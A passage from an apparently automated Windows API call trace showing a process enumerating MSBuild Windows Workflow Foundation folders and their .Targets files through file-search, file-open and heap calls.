lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.415] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.415] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.416] NtClose (Handle=0x180) returned 0x0 [0089.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313e28) returned 1 [0089.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313e28 [0089.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313f30 [0089.417] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.417] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.417] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0089.417] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0089.417] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0089.417] GetLastError () returned 0x12 [0089.417] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0089.418] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0089.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314038 [0089.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.423] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.423] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.423] NtClose (Handle=0x180) returned 0x0 [0089.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314140) returned 1 [0089.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314248 [0089.425] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0089.425] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.425] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0089.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1b88 [0089.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314458 [0089.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.427] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0089.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ba8 [0089.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314560 [0089.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.429] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0089.429] GetLastError () returned 0x12 [0089.429] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.429] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.429] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.429] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0089.429] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0089.429] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0089.429] GetLastError () returned 0x12 [0089.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314248) returned 1 [0089.430] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314140) returned 1 [0089.430] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0089.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.430] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.431] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.431] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.431] NtClose (Handle=0x168) returned 0x0 [0089.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314140) returned 1 [0089.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.433] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0089.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314248 [0089.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1bc8 [0089.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314668 [0089.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8e40) returned 0x132a698 [0089.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0089.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1be8 [0089.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314770 [0089.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0089.437] GetLastError () returned 0x12 [0089.437] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0089.437] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0089.437] GetLastError () returned 0x12 [0089.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.437] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314248) returned 1 [0089.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314140) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, 